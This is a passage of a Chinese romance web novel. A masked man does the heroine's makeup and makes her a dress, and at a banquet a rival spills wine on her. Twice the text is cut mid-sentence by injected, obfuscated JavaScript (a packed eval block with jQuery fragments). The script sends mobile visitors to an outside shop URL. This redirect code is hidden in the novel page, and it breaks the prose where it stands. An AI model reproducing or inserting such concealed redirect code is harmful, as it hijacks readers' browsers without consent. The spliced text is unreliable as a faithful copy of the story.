陡然,一道低沉沙哑的嗓音贴着耳畔响起,温热的呼吸尽数喷洒在她细腻的耳廓上,烫得人发麻。 刘瞳心口猛地一颤,像有一只小鹿在胸腔里肆意乱撞,慌乱得口齿发颤,支支吾吾地反驳:“没!才没有呢!” “呵。” 柳廷砚低低轻笑一声,笑意浅浅漾在眼底,语气带着几分无辜又戏谑的意味,“那你总抖睫毛做什么?晃得我根本不好画眼妆。” 语毕,他存心微微俯身,对着她泛红的耳尖轻轻呼了一口气。 温热的气息席卷而来,酥麻感顺着耳廓蔓延至四肢百骸。 刘瞳条件反射般猛地缩起脖颈,微微侧过身子,一张白皙娇嫩的小脸瞬间涨得通红,滚烫无比。 纤长卷翘的眼睫不停轻轻颤抖,慌乱又笨拙,模样格外滑稽可爱。 “有、有吗?”她声音细弱,带着藏不住的窘迫。 “你说呢?”柳廷砚垂眸凝着她,清晰捕捉到她泛红的耳根和绯红的小脸,眼底的笑意愈发浓郁,语气带着几分故意的施压,“你再乱动、再乱抖,待会儿妆画歪画花了,可别怪我。” “呼!你、你别靠我这么近!” 刘瞳强撑着镇定,长长吁出一口气,抬眼嗔瞪着他,试图压住心底翻涌的羞涩与慌乱。 柳廷砚见状,故作疑惑地微微歪头,目光落在她滚烫的脸颊上,语气佯装不解:“咦?我还没给你打粉底,你脸怎么就红得这么彻底?” 被他一语戳破心事,刘瞳瞬间慌乱地撇开闪烁的眼眸,不敢与他对视,只能低头无意识地摩挲着自己的指尖,小声嘟囔着辩解:“天太热了,这里房间太闷了而已。哎呀,你别问那么多了,快点化啦!” 她抬手轻轻拍了拍自己滚烫发烫的脸颊,强行压下心底的悸动,死死别开目光,不再看他。 耳畔再度传来男人低沉悦耳的笑声,浅浅沉沉,撩人心弦。 刘瞳心底懊恼得不行,只想原地找个地缝钻进去。 丢死人了! 她在心底无声哀嚎,懊恼自己没出息,偏偏在柳廷砚面前频频脸红心跳,一点都沉不住气。 她极力强迫自己冷静下来,绷紧神色,一瞬不瞬地盯着镜面,努力摆出面无表情的模样,试图掩盖所有慌乱。 镜面倒映出少女鼓着腮帮子的娇憨模样,小脸绯红软糯,像一颗熟透的红苹果,娇嫩欲滴,惹人怜爱。 一旁的柳廷砚透过镜子,将她所有细微的小动作、所有暗藏的羞涩与窘迫尽数收入眼底。 看着她极力隐忍、故作淡定的可爱模样,他心底软得一塌糊涂,满眼皆是化不开的温柔与宠溺。 心底情愫翻涌,他微微俯身,指尖愈发轻柔细致,一点点细细描摹她的眉眼,动作认真又虔诚,仿佛要将她此刻娇憨动人的模样,深深镌刻进心底。 周遭的氛围温柔又缱绻,暧昧丝丝缕缕萦绕在狭小的空间里,微妙得让人心慌。 刘瞳被这过于亲密温柔的气氛裹得浑身不自在,心头五味杂陈,这种陌生又悸动的感觉让她无所适从,最终忍不住小声开口,试图打破这份旖旎又局促的氛围:“喂,你怎么还会服装设计啊?连化妆都这么厉害。” 柳廷砚描摹眉尾的指尖微微一顿,转瞬便恢复动作,有条不紊地继续为她上妆,紧抿的薄唇轻轻开启,声线平稳温柔,耐心细致地为她解答:“化妆从来都不只是单纯修饰面部。一个真正顶尖的妆造,要兼顾人的整体气质与穿搭。” “若是脸部妆容精致出彩,身上穿搭却格格不入、粗糙违和,再好看的妆也撑不起整体气场,终究是无用的。” “妆适配衣衫,衣衫衬妆容,相辅相成,才不会显得不伦不类。” 他娓娓道来,神色平淡从容,话语条理清晰、通透透彻,仿佛这些专业至极的知识早已刻入本能,无需半点思索,举手投足间尽显沉稳通透、阅历不凡。 “原来是这样!” 刘瞳听得恍然大悟,乖巧地点了点头,心底满是佩服。 “别动。” 骤然响起的低沉嗓音带着不容置喙的温柔。 柳廷砚微微俯身,双手轻轻捧住她小巧的脸颊,掌心温热干燥,稳稳固定住她的脸庞。 四目相对的刹那,刘瞳瞬间噤声,下意识挺直脊背,端坐得笔直,一动不动,乖顺得不像话。 此后片刻,房间里安静下来,再无交谈。 柳廷砚始终戴着一副精致的面具,遮住了大半容颜,只露出利落的下颌与线条优美的薄唇,眉眼沉静专注,认真细致地为她完善妆容。 此刻的他,在旁人眼中神秘矜贵、气场十足,又自带令人惊叹的惊艳感。 门外不少工作人员都忍不住驻足停留,悄悄探头探脑,暗自窥探着房间内这养眼又暧昧的一幕。 片刻后,刘瞳整理仪容,缓步走出房间。 当她身影出现在众人视线中的那一刻,全场所有人都瞬间看直了双眼,眼底翻涌着极致的惊艳,此起彼伏的惊叹声悄然响起。 精致清透的妆容完美衬出她清丽温婉的气质,眉眼灵动,肌肤莹润,整个人宛若凡尘谪仙,绝色动人。 众人望着她,无一不心生赞叹。 被一道道炙热惊艳的目光紧紧包裹,刘瞳脸颊微热,有些不好意思地轻轻低下头,眉眼带着浅浅的羞涩。 身侧,柳廷砚身姿挺拔慵懒地伫立着,气质清冷矜贵。 两人并肩而立,身姿相配、气质相衬,在所有人眼中,俨然是天造地设、无可替代的一对,郎才女貌,金童玉女,养眼至极。 “今日尚有要事,这笔费用你记下,明日我让人送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847928|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 来。” 柳廷砚微微抬眸,语气清淡从容。 “不用不用!先生您千万别客气!您方才所用的全部产品都是免费的,不需要一分钱!”服务员连忙快步上前,笑着摆手推辞,态度格外热忱。 “哈?” 刘瞳当场愣住,头顶仿佛冒出一排排黑线,整个人懵在原地。 她直到此刻才反应过来,自己身上这件版型高级、设计独特、看着精致绝伦、宛若高定礼服的裙子,竟然只是柳廷砚随手利用零碎纱布改造而成的! 最离谱的是,如此简陋普通的材料,经过他的巧手改造,竟然完全看不出半点粗糙破败,反而惊艳夺目、气质斐然。 柳廷砚的手艺、天赋与审美,实在厉害得让她彻底刮目相看。 她心底满是震撼,忍不住悄悄抬眼,偷偷瞄了身侧的男人好几眼,眼底满是钦佩。 “走了。” 不等刘瞳从满心的震惊与感慨中回过神来,柳廷砚已然伸手,稳稳握住她纤细柔软的手腕,牵着她抬步向外走去。 身后的人群看着两人离去的背影,忍不住低声窃窃私语,满是羡慕。 “这位小姐也太幸福了吧!这位先生真的又温柔又厉害!” “先生,请等一下!” 方才的服务员连忙快步追上前来,出声唤住即将走出门口的两人。 二人脚步齐齐顿住,回眸望向来人,眼底带着几分疑惑。 服务员面带诚恳的笑意,急忙开口:“实在不好意思冒昧打扰!刚刚您全程的妆造设计我们都看在眼里,您的化妆和设计手艺实在太过精湛!我们店里目前正好紧缺一名高级化妆师,不知道您有没有入职的兴趣?” 见柳廷砚神色淡淡,她连忙补充挽留:“薪资我们都可以商议调整,而且店内假期十分充裕,待遇绝对优厚!” “没兴趣。” 柳廷砚淡淡瞥了她一眼,语气疏离平淡,没有丝毫犹豫,直接拒绝。 眼见他转身就要离去,服务员心底满是惋惜,急忙再度开口挽留,急切之意溢于言表。 而一旁的刘瞳,听着这番优厚的待遇,心底莫名微微一动。 她不动声色地轻轻晃了晃被他握住的手腕,小动作轻轻软软,带着一丝不易察觉的撒娇与怂恿。 察觉到掌心细微的动静,柳廷砚微微低头,垂眸看向身侧的少女。 入眼便是刘瞳一双清澈灿亮的大眼睛,正眨巴眨巴地望着他,眼底带着浅浅的期待与软糯的恳求。 柳廷砚心头微滞,莫名一软,随即佯装无奈生气,微微怒瞪了她一眼。 被他这么一瞪,刘瞳立刻收敛了小动作,委屈地嘟起粉嫩的唇瓣,乖乖低下头,不敢再乱动。 “我说了,没兴趣。” 柳廷砚收回目光,语气依旧坚定,牵着她的手,头也不回地迈步离开。 身后众人皆是满脸惋惜,纷纷摇头感慨。 “真是太可惜了!听声音年纪轻轻,本事却这般出众!” “之前还听那位小姐说,他们二人并不是夫妻,这么优秀的人,实在太可惜了!” “他一直戴着面具,也太神秘了吧,会不会是要去参加什么高端假面舞会?” “肯定是啊!不然怎么特意低调装扮!” “明明店里有那么多精致好看的高仿礼服,他偏偏用纱布亲手给小姐改裙子、亲手化妆,这也太有诚意、太浪漫了!” “妥妥的霸道总裁文剧情啊!神秘大佬亲自为心上人打造专属盛装!” “能被他这样用心对待,也太幸福了!” “可惜了,看得出来他满心满眼都是身边那位小姑娘,旁人根本没有半点机会。” 细碎的议论声渐渐被隔绝在门外,随着车门合上的轻响,彻底消散。 11. 少年时的心动过往 车厢之内,安静无声,密闭狭小的空间里,悄然弥漫开一层若有若无的暧昧气息,温柔缱绻,不言而喻。 刘瞳脑海里不断回放着方才房间里的一幕幕画面,心跳依旧不平稳,脸颊的绯红余热迟迟未曾褪去。 她悄悄侧过头,看向身侧正专注开车、目视前路的柳廷砚,心底的羞涩与暖意交织缠绕。 迟疑片刻,她终于鼓起勇气,小声开口,带着几分试探与不解:“你……你刚刚为什么不答应那份工作啊?待遇那么好,假期又多,答应下来,你不就有稳定工作了吗?” 柳廷砚视线未曾偏移前路,语气清淡随意,淡然回道:“我没有打算找工作。” “啊?!” 刘瞳瞬间瞪大双眼,猛地挺直脊背,满脸震惊地看着他,音量都不自觉拔高了几分,眼底写满不可思议,“那、那你难道想让我养你一辈子啊?” 昏暗细碎的路灯光透过车窗洒落,落在少女通红娇憨的小脸上,衬得她眉眼灵动,可爱得紧。 柳廷砚偏过头,挑眉看向她微微张大、足以塞进一颗鸡蛋的小嘴,眼底漾开浅浅戏谑的笑意,坦然应声:“嗯,对啊,就等着你养我一辈子。” 话音落,他低低朗声大笑,笑声清冽悦耳,在安静的车厢里缓缓回荡。 “你!你胡说!鬼才要养你一辈子!” 刘瞳被他说得心慌意乱,瞬间不淡定了,气鼓鼓地怒瞪着他,脸颊愈发滚烫。 柳廷砚只笑不语,眼底宠溺温柔的笑意藏都藏不住。 刘瞳看着他这副气人的模样,心里又羞又气,偏偏半点脾气都不敢真的发作,只能憋屈地转过头,望着窗外,暗自生着闷气。 车子行至路口,遇上红灯,缓缓平稳停下。 柳廷砚微微侧头,目光落在身侧少女的侧颜上。 见她又习惯性鼓着腮帮子,一脸委屈别扭的小模样,心头柔软得一塌糊涂。 她好像格外喜欢这样闹别扭的小动作,笨拙又可爱,总能轻易牵动他所有心绪。 可下一瞬,眼底温柔的笑意缓缓敛去,眸底涌上一层淡淡的阴霾,一抹难以察觉的悲凉转瞬即逝,快得让人无法捕捉。 车厢里的氛围骤然沉了几分。 他静默片刻,压下心底翻涌的复杂情绪,语气平淡无波地开口:“放心吧,我在你家再待一个月,就会离开。” 嗡—— 刘瞳靠在车窗上的身体猛地一僵,心口像是骤然被重物攥紧,狠狠一沉。 心底瞬间涌上密密麻麻、难以言喻的酸涩与空落,刚刚所有的羞涩与暖意,尽数被这一句话冲淡。 她猛地睁大眼睛,怔怔地看向身旁的男人,语气里藏不住的急切、慌乱与失落:“那你准备去哪里?你……联系上你的父母了吗?” 她心底满是忐忑与不安。 他在她家里寄居了整整一个多月,从未提及过往,从未提及亲人、朋友与归宿。 她心里一直充满好奇,却始终小心翼翼不敢多问,生怕不小心戳到他的伤疤,触碰到他不愿提及的伤痛过往,惹他难过。 可此刻听到他即将离开的消息,所有隐忍的疑惑,尽数涌上心头。 车厢内莫名泛起一缕寒凉的冷意。 刘瞳疑惑地瞥了一眼车内空调,明明没有开启冷风,可周身却莫名透着阵阵凉意。 她下意识缩了缩脖颈,心底愈发不安。 见他久久沉默不语,周身气息沉冷压抑,她还是忍不住再次轻声追问:“你的父母……” “我父母,已经不在了。” 低沉暗哑的嗓音,平静地打断了她未尽的话语,清淡的语气里听不出半分悲喜,却透着彻骨的孤寂。 “啊……” 刘瞳瞬间捂住嘴巴,瞳孔微怔,整个人彻底呆愣在原位,心底满是无尽的懊恼与愧疚,脸色瞬间从绯红转为惨白。 她慌乱不已,急忙开口道歉:“对不起!我、我不是故意的!我不知道你的情况,我真的不知道……” 千言万语堵在喉咙口,看着他周身骤然笼罩的冰冷孤寂,她手足无措,所有安慰的话语都卡在唇边,怎么也说不出口。 “没关系。” 柳廷砚语气淡淡,平静得近乎淡漠。 车厢再度陷入死寂般的沉默,压抑又冷清。 刘瞳时不时小心翼翼、偷偷抬眼瞄他,可他脸上的面具隔绝了所有神情,她根本窥探不到他眼底的情绪,无从知晓他此刻是难过、是落寞,还是早已习惯了这般孤单。 她在心底狠狠暗骂自己嘴笨、莽撞、不长脑子。 他无故漂泊、无依无靠,无人找寻、无人牵挂,本就身世凄苦。 她明明一直刻意避开他的过往,偏偏今日莽撞追问,哪壶不开提哪壶,硬生生揭开了他的伤疤。 无数纷乱的思绪在心底肆意蔓延。 她忍不住暗自揣测,脑洞大开,思绪万千。 眼前这般气质卓绝、身手不凡、天赋异禀,精通设计、妆造、样样全能的神秘男人,会不会就是传闻中那位惊才绝艳、无人能及的柳廷砚? 若是真的是他,究竟是谁这般狠心绝情、丧尽天良? 不仅害得他流离失所、孤身一人,还硬生生玷污、毁掉了他那张本该举世无双、惊艳天下的脸庞。 他父母的离世,是不是也和那些恶意加害于他的人息息相关? 万千疑惑与心疼缠绕心头,让她心绪纷乱,久久无法平静。 “我在这里等你。” 车子稳稳停住,柳廷砚面无表情,声线淡淡的,听不出半分情绪。 “哦。” 刘瞳木然地点点头,心底还残留着方才一幕幕的悸动,心有余悸地悄悄瞄了他一眼,这才推开车门,快步下了车。 宴会厅内 水晶吊灯流光潋滟,悠扬的轻音乐缓缓流淌在偌大的宴会厅之中。 宋琳琳一手端着餐盘,嘴里塞着精致甜点,目光时不时飘向不远处正与人谈笑的路学谦,眉眼弯成月牙,一脸满足。 “呼,宴会上的甜点和果汁也太好喝了。等会儿回去一定要跟小瞳好好说说。可惜她没能过来,既吃不到这些美味,也见不到心心念念的学长。话说回来,学长真是越长越俊朗了。” 另一边,刘瞳跟在服务员身后,缓步走到宴会厅厚重的雕花大门前。 “谢谢你。”刘瞳对着服务员温和点头道谢。 “不用客气。”服务员莞尔一笑,躬身退了下去。 刘瞳独自立在门前,深深吸了一大口气。 心脏砰砰擂鼓一般狂跳不止,双手紧紧攥住身上的裙摆,眼底藏不住的慌乱与无措。 “刘瞳,别慌。你这么厉害,什么场面没见过。再说琳琳和学长都在里面。”她抬手轻轻拍了拍自己的胸口,在心底给自己打气,缓缓抬起手,推开了那扇鎏金大门。 门轴轻响。 刚刚将视线从路学谦身上挪开的宋琳琳,举着盛着甜点的勺子僵在半空,眼睛瞪得圆圆的,直直望向门口走来的少女。 一身素白纱裙曳地,随着她莲步轻移,裙摆微微漾开,一双白皙修长的腿若隐若现,惹得场内不少男士目光纷纷投来,视线牢牢锁在她的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847929|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 上。 正在与人交谈的路学谦闻声抬眸,目光落在那道皎白倩影之上,瞬间定住。 开门的动静吸引了全场注意,所有人停下交谈,齐齐望向门口。 被数十道视线同时包裹,刘瞳心头一紧,不由得眼神躲闪,下意识垂着头,手足无措。 “小瞳?你不是说不来了吗!你买的明明是短款小礼服,怎么变长了?还有这张脸……是谁给你化的妆,也太好看了!” 宋琳琳快步冲到她身侧,凑到她耳边压低声音,满是难以置信。 刘瞳只能干笑两声,脸颊微微发烫。 “小瞳?” 温润的男声在身前响起,路学谦已经走到了她的面前。 刘瞳慌忙抬眼,撞进那双无数次出现在自己梦境里的眼眸。 眼前的男人棱角分明,眉眼温润如玉,比起读书少年时期,多了几分成熟沉稳的魅力。 “学长。”刘瞳声音轻轻的,脸颊泛起淡淡的绯红,是少女藏不住的娇羞。 一旁的宋琳琳眼睛亮晶晶的,目光在两人之间来回打转,一副看热闹的模样。 “你今天,很美。”路学谦唇角噙着浅淡笑意,语气温柔婉转。 “谢谢学长。”刘瞳羞怯地低下头,连耳根都烧得通红。 “学谦。” 一道娇柔悦耳的女声骤然响起。 刘瞳身体猛地一僵,骤然抬头看去。 一名女子身着天蓝色小礼服,咖啡色长发挽成俏皮的丸子头,瓜子小脸,眉眼妩媚动人。她柔软地挽住路学谦的手臂,整个人几乎若无骨一般依偎在他身侧。 一丝受伤,飞快地从刘瞳眼底掠过。 “嗯。”路学谦没有推开她,反而伸出另一只手,轻轻覆住那只挽着自己的小手,眉眼温和浅笑。 这一幕,狠狠刺进刘瞳眼底,心口隐隐泛起一阵抽痛。 “原来这就是你的学妹,长得可真漂亮,今晚这么多学妹里,就属她最惹眼了。”秦曲曼目光带着几分意味深长,上下打量着刘瞳,掩着唇娇笑。 刘瞳的心猛地咯噔一沉,下意识扫视四周。 果然,不少在场的女生都将目光投向这边,眼神混杂着不屑、鄙夷,甚至还有几分带着敌意的妒意。 她心里叫苦不迭。 这个女人轻飘飘一句话,直接就把自己推到了风口浪尖。刘瞳在心底默默祈祷,可千万别闹出什么事端。 看这般亲密模样,到底是妹妹,还是……女朋友? “小瞳,跟你介绍,这是我的女朋友,秦曲曼。” 简简单单一句话,如同晴天霹雳,刘瞳怔立在原地,浑身都僵住了。 “曼儿,这位是刘瞳,我一直把她当成妹妹看待。”路学谦替二人互相引荐。 “既然是学谦的妹妹,那便是我的妹妹啦,小瞳妹妹,你好。”秦曲曼笑意盈盈,上前一步朝刘瞳伸出右手。 “你、你好,秦小姐。”刘瞳有些猝不及防,连忙抬手,勉强扯出一抹笑意,与她交握。 “呵呵。”秦曲曼皮笑肉不笑,视线淡淡扫过刘瞳从头到脚。 两手相握不过短短两秒,秦曲曼便收回手,再度黏回路学谦身边,撒着娇:“学谦,我表哥来了,想要见见你。” “好。”路学谦伸出手,宠溺地捏了捏她的鼻尖。 “小瞳,你们随意坐,不用拘束,有什么需要,直接吩咐服务员就好。”路学谦回头,对着刘瞳温和叮嘱。 “嗯。”刘瞳强撑着笑意点头。 而后,路学谦便伸手揽住秦曲曼的腰,一同转身离开。 12. 他的保护 刘瞳垂头丧气地落座在沙发上,整个人蔫蔫的。宋琳琳立刻坐到她身旁。 “哎呀,别这么失落。隔了这么久没见,人家有女朋友也是很正常的事。”宋琳琳伸手拍了拍她的肩膀安慰。 “呜呜,可他有女朋友了,那我怎么办啊。”刘瞳一副快要哭出来的模样,把头埋靠在琳琳肩头。 “凉拌呗。” “好啦,难不成你还打算去抢过来?天下好男人又不止他一个,咱们得往前看。”琳琳轻轻揉着她的头顶开导。 “你说得也对!我长得天生丽质,还愁找不到人吗!”刘瞳猛地抬起头,眼神决绝。 宋琳琳无语地扶了扶额头。行,这人是一天不自恋就浑身难受,刚刚那番安慰算是白费口舌。 “话说回来,你还没跟我说,这身礼服到底哪里来的?我可从来没见过。”琳琳目光肆无忌惮地打量着她身上的白纱。 刘瞳把她一把拉过来,凑到耳边压低声音,脸上的情绪毫不掩饰。 “跟你说,这根本不是买来的礼服。我原本买的那条短裙还穿在里面。就是赖在我家的那尊大佛,送我去你家的时候,我裙角不小心夹在了他车门缝上。他戴着耳机,我怎么敲窗户他都听不见。我用力一扯,裙子直接撕破了。我那时候还打电话跟你说我来不了。结果不知道他抽了什么疯,直接把我拽去礼服店。我本来以为他会重新买一条给我,你猜发生了什么?” 琳琳一脸好奇宝宝的模样,眼睛亮晶晶:“发生什么?” “他拿店里垫桌子的白纱布裹在我身上,随手摆弄几下,就变成现在这个样子了!”刘瞳愤愤地扯了扯身上的裙摆。 “不是吧?你身上这件居然就只是一块布?”琳琳吃惊得直接站起身,音量不自觉拔高,瞬间引来周围一圈人的注目。 刘瞳慌忙伸手把她拽坐回来,一脸恨铁不成钢:“你小声一点!” “那这布……不是一扯就开了?”宋琳琳贼兮兮笑着,抬手就想去拽她的裙摆。 “不会,你看腰上缠绕的布条,还有这边的胸扣,都固定住了。”刘瞳拍开她作乱的手,一一指给她看。 “哇,你家那位也太厉害了,单单一块纱布就能改出这么好看的裙子。什么时候也叫他给我做一件独一无二的!你这件可是世间独一份,纯手工啊。”琳琳满眼唏嘘赞叹。 “你胡说什么,想要你自己去找他。”刘瞳嗔了她一眼。 “哎哟,人家的心都挂在你身上咯,我哪里敢凑上去。”琳琳意有所指,目光来回打量她。 “你这小妮子,今天怕不是吃错药了。”刘瞳抬手轻轻拍了她一下。 “哎哟好疼!你就不能怜香惜玉一点吗,我可很娇弱的。”琳琳立刻装出一副白莲花模样,眼眶湿漉漉的。 “行了你,别演了。”刘瞳无奈推了推她。 “不开玩笑了。那你脸上这个妆呢?”琳琳指向她的脸蛋。 “这个也是他化的。”刘瞳漫不经心地摸了摸脸颊。 “不是吧!真爱啊!从头到脚居然全是他一手打理出来的!”琳琳不由得惊呼。 “打住打住!”刘瞳连忙伸手挡在她脸前,制止她继续往下说。 “他也太全能了吧,又懂服装设计又会化妆。小瞳,你这是捡到宝了,还是免费劳动力。你看你今天,算是这二十年来最漂亮、最有女人味的一天。”琳琳用肩膀轻轻撞了撞刘瞳,一脸促狭。 “再好看又有什么用,学长已经有女朋友了。”刘瞳垂眸,神色黯然下来。 “可你身边不是还守着一个吗。”宋琳琳又撞了撞她的胳膊,戏谑笑道。 “送你了。”刘瞳白了她一眼。 “我可无福消受。”琳琳连忙摆手投降。 “对了,这里甜点味道很不错,你快尝尝。”琳琳说着,把一盘精致点心推到她面前。 刘瞳鼓起脸颊,一副豁出去的模样,拿起勺子狠狠挖起一大口塞进嘴里。 “唔,好好吃!” 作为实打实的吃货,美食轻易就抚平了她大半的低落。心里暗暗打定主意,一定要把刚刚憋闷的情绪全部吃回来。 两个人就这样旁若无人埋头大快朵颐。路过的宾客瞥见这幅模样,眼底掠过几分鄙夷,纷纷绕远走开。 不远处,秦曲曼一直默默留意着她们二人的一举一动,看见这一幕,唇边溢出一声轻嗤。她拿起桌上两杯红酒,步履从容地朝着她们这边走过来。 “琳琳,真的好吃,多吃点,反正不要钱。”刘瞳嘴里塞得满满当当,还不忘招呼身旁好友。 “还用你说,不吃白不吃。”琳琳瞥她一眼,同样大口吃着甜点。 “小瞳妹妹。” 突如其来的女声响起,两人浑身猛地一颤,连忙放下勺子,唰地一下站起身。 “小瞳妹妹,糕点合胃口吗?”秦曲曼笑意浅浅。 “嗯,挺好吃的。”刘瞳讪讪点头。 “那就好。这些点心,可是我特意请法国糕点师过来做的。喜欢便多吃些,不够我再叫他做。”秦曲曼眉眼弯弯。 “不用不用,足够了。”两人连忙摆手,气氛尴尬得要命。 面对自己少女时期爱慕之人的女朋友,刘瞳实在不知道该如何自如交谈,只能僵在原地,安静站着。 “呵呵,小瞳妹妹,吃了这么多点心,该口渴了吧。这是无酒精果酒,尝尝。”秦曲曼把手中一杯酒递向刘瞳。 “啊,我……”刘瞳面露难色,想要推辞,她本就不怎么会喝酒,就算是无酒精的也不大习惯。 话音还未说完,秦曲曼身子忽然一晃,直直朝着她倒过来。刘瞳下意识伸手去扶,下一刻,冰凉的液体哗啦泼洒而出。 一杯红酒尽数泼在她的白纱胸前,另一杯也打翻,洒在了她的高跟鞋上。 始作俑者捂住嘴唇,满脸无辜地惊呼出声。 刘瞳只觉得一阵头大,今天出门真该翻翻黄历,偏偏在这种场合出丑,这下脸面算是丢尽了。 “怎么回事?”路学谦闻声,快步朝这边赶来。 “学谦,我刚刚脚崴了,不小心把酒泼到小瞳妹妹身上,我真的不是故意的,你说现在该怎么办才好。”秦曲曼立刻依偎上去抱住他的手臂,小嘴委屈地抿起,一副手足无措的模样。 “明 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“你怎么过来了。”刘瞳脸颊发烫,压低声音小声问道。 “不如去楼上客房简单整理一番。”路学谦上前一步,语气满是关切。 “不必麻烦。”柳廷砚淡淡开口,直接截断刘瞳正要出口的应允。 话音未落,他微微弯腰,手臂一收,直接将刘瞳打横抱起,迈步朝着宴会厅大门走去。 “啊!” 突如其来的公主抱,让刘瞳猝不及防,慌忙伸出胳膊搂住他的脖颈。 宋琳琳瞪大双眼,望着两人离去的背影,不由得露出一抹意味深长的笑。 好家伙,这两个人果然有情况,这下小瞳总该没话说了。 另一边,路学谦站在原地,握着那一方手帕的手紧紧攥起,指节泛白,眸光沉沉暗了下去。 踏出宴会厅大门。 “宴会还没有结束!我还没跟学长好好说几句话,放我下来!”刘瞳在他怀里不安分地扭动身子,小声抗议。 “放我下来!” 见柳廷砚全然不为所动,她攥起拳头,轻轻捶打着他的胸膛。 “都弄成这样了,还不嫌丢人?”柳廷砚垂眸睨了她一眼,语气淡淡的。 “跟你有什么关系!放我下去,我还要回去和学长叙旧!”刘瞳蹬着双腿挣扎。 “柳廷砚!”刘瞳忍不住低吼。 男人只丢过来一记冷眼,一言不发。 走出会所,柳廷砚直接把她安放到副驾驶,自己坐进主驾,发动汽车,完全无视身旁喋喋不休抱怨的刘瞳。 “你干什么!莫名其妙闯进来,还把我带出来,宴会都还没结束啊!”刘瞳使劲推着车门把手,可车门早已被反锁,只能气鼓鼓瞪着他的侧脸。 柳廷砚连余光都没有分给她半分。 刘瞳无可奈何,只得把脸贴在车窗玻璃上,遥遥望着灯火璀璨的会所方向,眼神满是恋恋不舍。 “学长……呜呜。”她皱起小脸,委屈巴巴地嘟囔。 13. 卡特 柳廷砚的黑色座驾方才驶离会所门口,两道刺眼的猩红车灯便接踵而至。 两辆顶配法拉利稳稳停落,前车门推开,一名金发阴柔的男人缓步落地。一身利落红西装衬得身形挺拔修长,眉眼昳丽,一举一动皆透着矜贵慵懒的优雅,自带生人莫近的张扬气场。 紧随其后,后车走出一位黑色大波浪卷发的女人。一袭肉色一字肩礼裙勾勒出曼妙曲线,莲步轻移,姿态从容大方,自然亲昵地挽住金发男人的手臂。四人黑衣保镖紧随身后,气场凛冽,瞬间压过周遭喧嚣。 一行人踏入灯火璀璨的宴会厅。 正埋头享用甜点的宋琳琳余光一瞥这阵仗,心底瞬间了然——来者绝非寻常人物。 两人缓步从她身侧掠过的瞬间,宋琳琳瞳孔微怔。 这女人,分明是高婉然! 她不是全网默认的柳廷砚绯闻女友吗? 可此刻她依偎在陌生矜贵男人身侧,姿态亲密缱绻,全然不见半分疏离。 宋琳琳脑子里瞬间炸开一团狗血烟花。 如果小瞳身边那位神秘莫测的大佬真的是柳廷砚……那这剧情,未免也太抓马了! 她暗自疯狂脑补,眼底八卦之火熊熊燃烧。 “尧哥。” 路学谦快步上前迎上,语气温润有度。 陈尧侧首,桃花眼漾着几分漫不经心的邪笑,视线扫过喧嚣宴会厅,语气戏谑:“呦,你倒是会享受。” “尧哥说笑了。”路学谦浅浅含笑,温润依旧。 陈尧目光骤然落向他身侧的女人,唇角微勾,视线直白肆意,细细描摹着对方身形仪态,带着上位者漫不经心的打量。 “这位是?” 秦曲曼非但没有半分局促,反倒十分受用这般审视目光,主动上前半步,笑意温婉大方:“陈先生您好,我叫秦曲曼,久仰大名。” “曲曼。”陈尧轻念一遍,眼底笑意更深,“名字很好听。” 路学谦不动声色伸手,将秦曲曼轻轻拉回身侧,面上笑意不改,分寸拿捏得恰到好处。 陈尧低低一笑,抬手拍了拍他的肩头,眸底情绪晦暗不明。 下一秒,挽着他手臂的高婉然微微偏头,嗓音娇柔轻软:“尧哥。” 陈尧周身散漫气场瞬间收敛几分,垂眸看向身侧女人,眼底染上独一份的宠溺,反手扣住她挽着自己的手,向路学谦介绍:“这是我女朋友,高婉然。” “高小姐。”路学谦颔首,礼貌而疏离。 高婉然浅浅莞尔,举止端庄优雅,语气得体:“路先生客气了,久闻大名,今日得见,实属荣幸。” “高小姐太过谦逊。” 一旁的秦曲曼适时插话,笑意甜美,带着几分刻意的熟稔:“曲曼也一直很仰慕高小姐,今日终于得见真容,果然名不虚传。” 高婉然掩唇轻笑,从容应对:“秦小姐说笑了。” 寒暄落幕,路学谦抬眸,语声温和:“尧哥,昨日我特意从葡萄牙收了一瓶七九年的珍藏红酒,今日正好带来,陪尧哥小酌。” 陈尧眸色一亮,爽快颔首:“甚好,我最偏爱陈年佳酿,走。” 他揽着路学谦肩头,并肩往僻静酒区走去。 路学谦回头叮嘱秦曲曼:“你陪高小姐先坐坐。” 语毕,他又朝高婉然微微颔首示意。 高婉然礼貌回点下颌。 秦曲曼立刻亲昵挽住高婉然的手臂,笑容真挚:“高小姐,你们模特平日里都是怎么保养的?我看你皮肤又白又嫩,实在让人羡慕。我们去那边沙发坐坐聊聊吧?” 她说着,便顺势拉着人往空位走去。 此前因为秦曲曼几句挑拨,刘瞳在宴会上被众人孤立,连带宋琳琳也落得独自冷清。刘瞳提前离场后,偌大的真皮沙发便只剩宋琳琳一人。 一直悄悄留意着几人动向的宋琳琳,见她们走来,识趣地端起盘中糕点,悄悄挪到不远处,避开这场看似温和、实则暗流涌动的局。 僻静酒区。 陈尧举杯轻啜,舌尖尝到醇厚酒香,眼底满是回味:“果然是好酒。” 可他指尖轻轻晃着杯中酒液,语气骤然意味深长:“阿谦,酒是好酒,可惜,总觉得差了点东西。” 